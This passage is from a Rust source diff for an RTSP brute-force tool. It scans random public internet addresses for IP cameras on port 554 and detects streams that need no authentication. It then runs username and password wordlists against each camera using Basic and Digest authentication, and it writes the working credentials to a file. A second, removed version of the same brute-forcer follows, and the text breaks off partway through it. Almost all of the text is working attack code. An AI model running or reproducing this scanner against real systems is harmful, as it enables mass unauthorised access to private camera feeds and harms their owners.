||||
|
||||
println!("{}", "[*] Preparing Mass Scan configuration...".blue());
|
||||
|
||||
// Get port - from API config or prompt
|
||||
let port: u16 = if let Some(p) = config.port {
|
||||
p
|
||||
} else {
|
||||
prompt_port("RTSP Port", 554)?
|
||||
};
|
||||
|
||||
// Get wordlists - from API config or prompt
|
||||
let usernames_file = if let Some(ref f) = config.username_wordlist {
|
||||
if !std::path::Path::new(f).exists() {
|
||||
return Err(anyhow!("Username wordlist not found: {}", f));
|
||||
}
|
||||
f.clone()
|
||||
} else {
|
||||
prompt_existing_file("Username wordlist")?
|
||||
};
|
||||
|
||||
let passwords_file = if let Some(ref f) = config.password_wordlist {
|
||||
if !std::path::Path::new(f).exists() {
|
||||
return Err(anyhow!("Password wordlist not found: {}", f));
|
||||
}
|
||||
f.clone()
|
||||
} else {
|
||||
prompt_existing_file("Password wordlist")?
|
||||
};
|
||||
|
||||
// Get paths file - optional in API mode
|
||||
let paths_file = if let Some(ref f) = config.path_wordlist {
|
||||
if !std::path::Path::new(f).exists() && !f.is_empty() {
|
||||
return Err(anyhow!("Path wordlist not found: {}", f));
|
||||
}
|
||||
f.clone()
|
||||
} else if api_mode {
|
||||
String::new() // No paths file in API mode means use root path
|
||||
} else {
|
||||
prompt_existing_file("RTSP paths file (empty for none/root)")?
|
||||
};
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
let mut paths = if paths_file.is_empty() {
|
||||
vec!["".to_string()]
|
||||
} else {
|
||||
load_lines(&paths_file)?
|
||||
};
|
||||
if paths.is_empty() {
|
||||
paths.push("".to_string());
|
||||
}
|
||||
|
||||
if users.is_empty() || pass_lines.is_empty() {
|
||||
return Err(anyhow!("Wordlists cannot be empty"));
|
||||
}
|
||||
|
||||
let concurrency = config.concurrency.unwrap_or_else(|| {
|
||||
if api_mode { 500 } else { prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).unwrap_or(500) as usize }
|
||||
});
|
||||
|
||||
let verbose = config.verbose.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
|
||||
});
|
||||
|
||||
let output_file = config.output_file.clone().unwrap_or_else(|| {
|
||||
if api_mode { "rtsp_mass_results.txt".to_string() } else { prompt_default("Output result file", "rtsp_mass_results.txt").unwrap_or_else(|_| "rtsp_mass_results.txt".to_string()) }
|
||||
});
|
||||
|
||||
// Ask about exclusions - always use exclusions in API mode
|
||||
let use_exclusions = if api_mode {
|
||||
true
|
||||
} else {
|
||||
prompt_yes_no("Exclude reserved/private ranges?", true)?
|
||||
};
|
||||
|
||||
// Parse exclusions
|
||||
let mut exclusion_subnets = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusion_subnets.push(net);
|
||||
}
|
||||
}
|
||||
println!("{}", format!("[+] Loaded {} exclusion ranges", exclusion_subnets.len()).cyan());
|
||||
}
|
||||
let exclusions = Arc::new(exclusion_subnets);
|
||||
|
||||
// Shared State
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let creds_pkg = Arc::new((users, pass_lines, paths));
|
||||
|
||||
// Stats Reporter
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs scanned, {} RTSP streams found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
|
||||
let mut checked_ips = HashSet::new();
|
||||
if run_random {
|
||||
if std::path::Path::new(STATE_FILE).exists() {
|
||||
println!("{} Loading state file...", "[*]".blue());
|
||||
if let Ok(file) = File::open(STATE_FILE) {
|
||||
let reader = BufReader::new(file);
|
||||
for line in reader.lines() {
|
||||
if let Ok(l) = line {
|
||||
if let Some(ip) = l.strip_prefix("checked: ") {
|
||||
checked_ips.insert(ip.trim().to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
println!("{} Loaded {} checked IPs.", "[+]".green(), checked_ips.len());
|
||||
}
|
||||
}
|
||||
|
||||
let checked_set = Arc::new(Mutex::new(checked_ips));
|
||||
|
||||
if run_random {
|
||||
OpenOptions::new().create(true).append(true).open(STATE_FILE).await?;
|
||||
|
||||
println!("{}", "[*] Starting Random Internet Scan...".green());
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
let c_set = checked_set.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
|
||||
let ip_s = ip.to_string();
|
||||
let is_checked = {
|
||||
let set = c_set.lock().await;
|
||||
set.contains(&ip_s)
|
||||
};
|
||||
|
||||
if !is_checked {
|
||||
{
|
||||
let mut set = c_set.lock().await;
|
||||
set.insert(ip_s.clone());
|
||||
}
|
||||
mark_ip_checked_file(&ip_s).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
let targets: Vec<String> = if std::path::Path::new(target).is_file() {
|
||||
let content = match tokio::fs::read_to_string(target).await {
|
||||
Ok(c) => c,
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Failed to read target file: {}", e).red());
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect()
|
||||
} else if target.contains('/') {
|
||||
if let Ok(net) = target.parse::<ipnetwork::IpNetwork>() {
|
||||
net.iter().map(|ip| ip.to_string()).collect()
|
||||
} else {
|
||||
vec![target.to_string()]
|
||||
}
|
||||
} else {
|
||||
vec![target.to_string()]
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Loaded {} targets.", targets.len()).blue());
|
||||
|
||||
for ip_str in targets {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
let ip_addr = match ip_str.parse::<IpAddr>() {
|
||||
Ok(ip) => Some(ip),
|
||||
Err(_) => {
|
||||
match tokio::net::lookup_host(format!("{}:{}", ip_str, port)).await {
|
||||
Ok(mut iter) => iter.next().map(|s| s.ip()),
|
||||
Err(_) => None
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
tokio::spawn(async move {
|
||||
if let Some(ip) = ip_addr {
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn mass_scan_host(
|
||||
ip: IpAddr,
|
||||
port: u16,
|
||||
creds: Arc<(Vec<String>, Vec<String>, Vec<String>)>,
|
||||
stats_found: Arc<AtomicUsize>,
|
||||
output_file: String,
|
||||
verbose: bool
|
||||
) {
|
||||
let sa = SocketAddr::new(ip, port);
|
||||
|
||||
// 1. Connection Check (Fast Fail)
|
||||
if timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
|
||||
return;
|
||||
}
|
||||
|
||||
// Probe once to determine method
|
||||
let (users, passes, paths) = &*creds;
|
||||
|
||||
// We try to probe the preferred path (usually first one or root)
|
||||
let probe_path = match paths.first() {
|
||||
Some(p) => p.clone(),
|
||||
None => String::new(),
|
||||
};
|
||||
let addrs = [sa];
|
||||
|
||||
// For mass scan, we might fail probe due to timeout, just return then.
|
||||
// If Unauth, we log and return success immediately!
|
||||
let auth_method = match probe_auth_method(&addrs, &sa.to_string(), &probe_path).await {
|
||||
Ok(AuthMethod::None) => {
|
||||
// Found open!
|
||||
let result_str = format!("{} -> <NO_AUTH>:<NO_AUTH> [path={}]", sa, probe_path);
|
||||
println!("\r{}", format!("[+] FOUND: {}", result_str).green().bold());
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
|
||||
let _ = file.write_all(format!("{}\n", result_str).as_bytes()).await;
|
||||
}
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
return;
|
||||
},
|
||||
Ok(m) => m,
|
||||
Err(_) => return, // Failed to probe, host likely gone
|
||||
};
|
||||
|
||||
// Parallel credential attempts per host
|
||||
// Limit concurrent connections per host to avoid FD exhaustion
|
||||
const MAX_CONCURRENT_PER_HOST: usize = 10;
|
||||
let host_semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT_PER_HOST));
|
||||
let found_flag = Arc::new(AtomicBool::new(false));
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
for path in paths {
|
||||
for user in users {
|
||||
for pass in passes {
|
||||
// Stop if we already found a valid credential for this host
|
||||
if found_flag.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let addrs_clone = addrs;
|
||||
let sa_str = sa.to_string();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let path_clone = path.clone();
|
||||
let auth_clone = auth_method.clone();
|
||||
let sem = host_semaphore.clone();
|
||||
let found = found_flag.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
let v = verbose;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if found.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Acquire per-host permit
|
||||
let _permit = match sem.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return,
|
||||
};
|
||||
|
||||
if found.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
let res = try_rtsp_login_smart(
|
||||
&addrs_clone,
|
||||
&sa_str,
|
||||
&user_clone,
|
||||
&pass_clone,
|
||||
&path_clone,
|
||||
&auth_clone
|
||||
).await;
|
||||
|
||||
match res {
|
||||
Ok(true) => {
|
||||
let result_str = format!("{} -> {}:{} [path={}]", sa_str, user_clone, pass_clone, path_clone);
|
||||
println!("\r{}", format!("[+] FOUND: {}", result_str).green().bold());
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&of).await {
|
||||
let _ = file.write_all(format!("{}\n", result_str).as_bytes()).await;
|
||||
}
|
||||
sf.fetch_add(1, Ordering::Relaxed);
|
||||
found.store(true, Ordering::Relaxed);
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => {
|
||||
let err_str = e.to_string().to_lowercase();
|
||||
if err_str.contains("refused") || err_str.contains("timeout") || err_str.contains("reset") || err_str.contains("too many open files") {
|
||||
found.store(true, Ordering::Relaxed); // Stop this host
|
||||
}
|
||||
if v {
|
||||
println!("\r{}", format!("[!] {} -> error: {}", sa_str, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
if found_flag.load(Ordering::Relaxed) { break; }
|
||||
}
|
||||
if found_flag.load(Ordering::Relaxed) { break; }
|
||||
}
|
||||
|
||||
// Wait for all tasks on this host to complete
|
||||
while let Some(_) = tasks.next().await {}
|
||||
}
|
||||
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
|
||||
let mut excluded = false;
|
||||
for net in exclusions {
|
||||
if net.contains(ip_addr) {
|
||||
excluded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if !excluded {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn mark_ip_checked_file(ip: &str) {
|
||||
let data = format!("checked: {}\n", ip);
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(STATE_FILE)
|
||||
.await
|
||||
{
|
||||
let _ = file.write_all(data.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
|
||||
/// Resolve a host:port for single target mode
|
||||
async fn resolve_targets(addr: &str, default_port: u16) -> Result<Vec<SocketAddr>> {
|
||||
if let Ok(sa) = addr.parse::<SocketAddr>() {
|
||||
return Ok(vec![sa]);
|
||||
}
|
||||
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
|
||||
let parsed_port = match p.parse::<u16>() {
|
||||
Ok(port_num) => port_num,
|
||||
Err(_) => default_port,
|
||||
};
|
||||
(h.to_string(), parsed_port)
|
||||
} else {
|
||||
(addr.to_string(), default_port)
|
||||
};
|
||||
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
|
||||
let host_port = if host_clean.contains(':') {
|
||||
format!("[{}]:{}", host_clean, port)
|
||||
} else {
|
||||
format!("{}:{}", host_clean, port)
|
||||
};
|
||||
let addrs = tokio::net::lookup_host(host_port.clone())
|
||||
.await
|
||||
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
if addrs.is_empty() {
|
||||
Err(anyhow!("No addresses found for '{}'", host_port))
|
||||
} else {
|
||||
Ok(addrs)
|
||||
}
|
||||
}
|
||||
|
||||
// ------ RTSP Logic ------
|
||||
|
||||
async fn connect_to_any(addrs: &[SocketAddr]) -> Result<(TcpStream, SocketAddr)> {
|
||||
let mut last_err = None;
|
||||
for sa in addrs {
|
||||
// Connect timeout
|
||||
match timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(*sa)).await {
|
||||
Ok(Ok(s)) => return Ok((s, *sa)),
|
||||
Ok(Err(e)) => { last_err = Some(e); continue; }
|
||||
Err(_) => { last_err = Some(std::io::Error::new(std::io::ErrorKind::TimedOut, "Connect timeout")); continue; }
|
||||
}
|
||||
}
|
||||
match last_err {
|
||||
Some(e) => Err(e.into()),
|
||||
None => Err(anyhow!("All connection attempts failed")),
|
||||
}
|
||||
}
|
||||
|
||||
async fn send_request(stream: &mut TcpStream, request: &str) -> Result<String> {
|
||||
stream.write_all(request.as_bytes()).await?;
|
||||
let mut buffer = [0u8; 2048];
|
||||
// Read timeout
|
||||
let n = match timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), stream.read(&mut buffer)).await {
|
||||
Ok(Ok(n)) => n,
|
||||
Ok(Err(e)) => return Err(e.into()),
|
||||
Err(_) => return Err(anyhow!("Read timeout")),
|
||||
};
|
||||
if n == 0 {
|
||||
return Err(anyhow!("Connection closed by server"));
|
||||
}
|
||||
Ok(String::from_utf8_lossy(&buffer[..n]).to_string())
|
||||
}
|
||||
|
||||
/// Probes the server to determine supported auth method
|
||||
async fn probe_auth_method(addrs: &[SocketAddr], _addr_display: &str, path: &str) -> Result<AuthMethod> {
|
||||
let (mut stream, sa) = connect_to_any(addrs).await?;
|
||||
|
||||
let path_str = if path.is_empty() { "/" } else { path };
|
||||
let method = "DESCRIBE";
|
||||
|
||||
// Send unauthenticated request
|
||||
let request = format!(
|
||||
"{method} rtsp://{host}:{port}/{path} RTSP/1.0\r\nCSeq: 1\r\n\r\n",
|
||||
method = method,
|
||||
host = sa.ip(),
|
||||
port = sa.port(),
|
||||
path = path_str.trim_start_matches('/')
|
||||
);
|
||||
|
||||
let response = send_request(&mut stream, &request).await?;
|
||||
|
||||
if response.contains("200 OK") {
|
||||
return Ok(AuthMethod::None);
|
||||
}
|
||||
|
||||
if response.contains("401 Unauthorized") {
|
||||
if response.contains("Digest") {
|
||||
// Parse Realm and Nonce
|
||||
// WWW-Authenticate: Digest realm="HipcamRealServer", nonce="3b27a446bfa49b0c48c3edb631e09054"
|
||||
let realm = extract_header_value(&response, "realm=\"", "\"");
|
||||
let nonce = extract_header_value(&response, "nonce=\"", "\"");
|
||||
|
||||
if let (Some(r), Some(n)) = (realm, nonce) {
|
||||
return Ok(AuthMethod::Digest { realm: r, nonce: n });
|
||||
}
|
||||
} else if response.contains("Basic") {
|
||||
return Ok(AuthMethod::Basic);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(AuthMethod::Unknown)
|
||||
}
|
||||
|
||||
fn extract_header_value(response: &str, start_marker: &str, end_marker: &str) -> Option<String> {
|
||||
if let Some(start) = response.find(start_marker) {
|
||||
let remainder = &response[start + start_marker.len()..];
|
||||
if let Some(end) = remainder.find(end_marker) {
|
||||
return Some(remainder[..end].to_string());
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
async fn try_rtsp_login_smart(
|
||||
addrs: &[SocketAddr],
|
||||
addr_display: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
path: &str,
|
||||
auth_method: &AuthMethod,
|
||||
) -> Result<bool> {
|
||||
|
||||
let method_to_use = if let AuthMethod::Unknown = auth_method {
|
||||
match probe_auth_method(addrs, addr_display, path).await {
|
||||
Ok(m) => m,
|
||||
Err(_) => AuthMethod::Basic,
|
||||
}
|
||||
} else {
|
||||
auth_method.clone()
|
||||
};
|
||||
|
||||
let (mut stream, sa) = connect_to_any(addrs).await?;
|
||||
|
||||
let rtsp_verb = "DESCRIBE";
|
||||
let path_str = if path.is_empty() { "/" } else { path };
|
||||
let path_clean = path_str.trim_start_matches('/');
|
||||
|
||||
let uri = format!("rtsp://{}:{}/{}", sa.ip(), sa.port(), path_clean);
|
||||
|
||||
let auth_header = match method_to_use {
|
||||
AuthMethod::None => return Ok(true),
|
||||
AuthMethod::Basic => {
|
||||
let credentials = Base64.encode(format!("{}:{}", user, pass));
|
||||
format!("Authorization: Basic {}", credentials)
|
||||
},
|
||||
AuthMethod::Digest { ref realm, ref nonce } => {
|
||||
let ha1 = format!("{:x}", md5::compute(format!("{}:{}:{}", user, realm, pass)));
|
||||
let ha2 = format!("{:x}", md5::compute(format!("{}:{}", rtsp_verb, uri)));
|
||||
let response = format!("{:x}", md5::compute(format!("{}:{}:{}", ha1, nonce, ha2)));
|
||||
|
||||
format!(
|
||||
"Authorization: Digest username=\"{}\", realm=\"{}\", nonce=\"{}\", uri=\"{}\", response=\"{}\"",
|
||||
user, realm, nonce, uri, response
|
||||
)
|
||||
},
|
||||
AuthMethod::Unknown => return Ok(false),
|
||||
};
|
||||
|
||||
let request = format!(
|
||||
"{method} {uri} RTSP/1.0\r\nCSeq: 2\r\n{auth}\r\n\r\n",
|
||||
method = rtsp_verb,
|
||||
uri = uri,
|
||||
auth = auth_header
|
||||
);
|
||||
|
||||
let response = send_request(&mut stream, &request).await?;
|
||||
|
||||
if response.contains("200 OK") {
|
||||
Ok(true)
|
||||
} else {
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
|
||||
fn extract_rtsp_path(target: &str) -> Option<String> {
|
||||
let trimmed = target.trim();
|
||||
let without_scheme = match trimmed.strip_prefix("rtsp://") {
|
||||
Some(s) => s,
|
||||
None => trimmed,
|
||||
};
|
||||
|
||||
if let Some((_, path)) = without_scheme.split_once('/') {
|
||||
let clean_path = match path.split(|c| c == '?' || c == '#').next() {
|
||||
Some(p) => p,
|
||||
None => "",
|
||||
}
|
||||
.trim();
|
||||
|
||||
if clean_path.is_empty() || clean_path == "/" {
|
||||
None
|
||||
} else {
|
||||
let mut final_path = clean_path.to_string();
|
||||
if !final_path.starts_with('/') {
|
||||
final_path.insert(0, '/');
|
||||
}
|
||||
Some(final_path)
|
||||
}
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
@@ -1,485 +0,0 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use base64::engine::general_purpose::STANDARD as Base64;
|
||||
use base64::Engine as _;
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::SocketAddr,
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, Duration},
|
||||
};
|
||||
|
||||
/// Main entry point for the advanced RTSP brute force module.
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== Advanced RTSP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("RTSP Port", "554")?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file = prompt_required("Username wordlist")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "rtsp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
|
||||
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false)?;
|
||||
let mut advanced_headers: Vec<String> = Vec::new();
|
||||
let advanced_command = if advanced_mode {
|
||||
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE")?;
|
||||
if prompt_yes_no("Load extra RTSP headers from a file?", false)? {
|
||||
let headers_path = prompt_required("Path to RTSP headers file")?;
|
||||
advanced_headers = load_lines(&headers_path)?;
|
||||
}
|
||||
Some(method)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let advanced_headers = Arc::new(advanced_headers);
|
||||
|
||||
let (addr, implicit_path) = normalize_target_input(target, port)?;
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let resolved_addrs = match resolve_targets(&addr).await {
|
||||
Ok(addrs) => Arc::new(addrs),
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
|
||||
return Err(e);
|
||||
}
|
||||
};
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let pass_lines: Vec<String> = BufReader::new(File::open(&passwords_file)?)
|
||||
.lines()
|
||||
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect();
|
||||
if pass_lines.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
|
||||
let mut paths = if brute_force_paths {
|
||||
let paths_file = prompt_required("Path to RTSP paths file")?;
|
||||
load_lines(&paths_file)?
|
||||
} else {
|
||||
vec!["".to_string()]
|
||||
};
|
||||
if paths.is_empty() {
|
||||
println!("[!] RTSP paths list is empty. Falling back to default root path.");
|
||||
paths.push(String::new());
|
||||
}
|
||||
if let Some(p) = implicit_path {
|
||||
if !paths.iter().any(|existing| existing == &p) {
|
||||
paths.insert(0, p);
|
||||
}
|
||||
}
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let mut idx = 0usize;
|
||||
|
||||
for pass in pass_lines {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let userlist: Vec<String> = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
|
||||
};
|
||||
|
||||
for user in userlist {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
for path in &paths {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let path_clone = path.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let command = advanced_command.clone();
|
||||
let headers = Arc::clone(&advanced_headers);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let addrs_clone = Arc::clone(&resolved_addrs);
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
match try_rtsp_login(
|
||||
addrs_clone.as_slice(),
|
||||
&addr_clone,
|
||||
&user_clone,
|
||||
&pass_clone,
|
||||
&path_clone,
|
||||
command.as_deref(),
|
||||
&headers,
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(true) => {
|
||||
let path_str = if path_clone.is_empty() { "NO_PATH" } else { &path_clone };
|
||||
println!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str);
|
||||
found_clone
|
||||
.lock()
|
||||
.await
|
||||
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => log(verbose_flag, &format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone)),
|
||||
Err(e) => log(verbose_flag, &format!("[!] {} -> error: {}", addr_clone, e)),
|
||||
}
|
||||
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
idx += 1;
|
||||
}
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found (with these paths).");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials (and paths):");
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
|
||||
if let Some(path) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path);
|
||||
let mut file = File::create(&filename)?;
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path)?;
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
|
||||
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
|
||||
// 1) If it's a literal SocketAddr, return it directly
|
||||
if let Ok(sa) = addr.parse::<SocketAddr>() {
|
||||
return Ok(vec![sa]);
|
||||
}
|
||||
|
||||
// 2) Split into host / port
|
||||
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
|
||||
(h.to_string(), p.parse().unwrap_or(554))
|
||||
} else {
|
||||
(addr.to_string(), 554)
|
||||
};
|
||||
|
||||
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
|
||||
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
|
||||
let host_port = if host_clean.contains(':') {
|
||||
format!("[{}]:{}", host_clean, port)
|
||||
} else {
|
||||
format!("{}:{}", host_clean, port)
|
||||
};
|
||||
|
||||
// 4) DNS lookup (handles A + AAAA)
|
||||
let addrs = tokio::net::lookup_host(host_port.clone())
|
||||
.await
|
||||
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
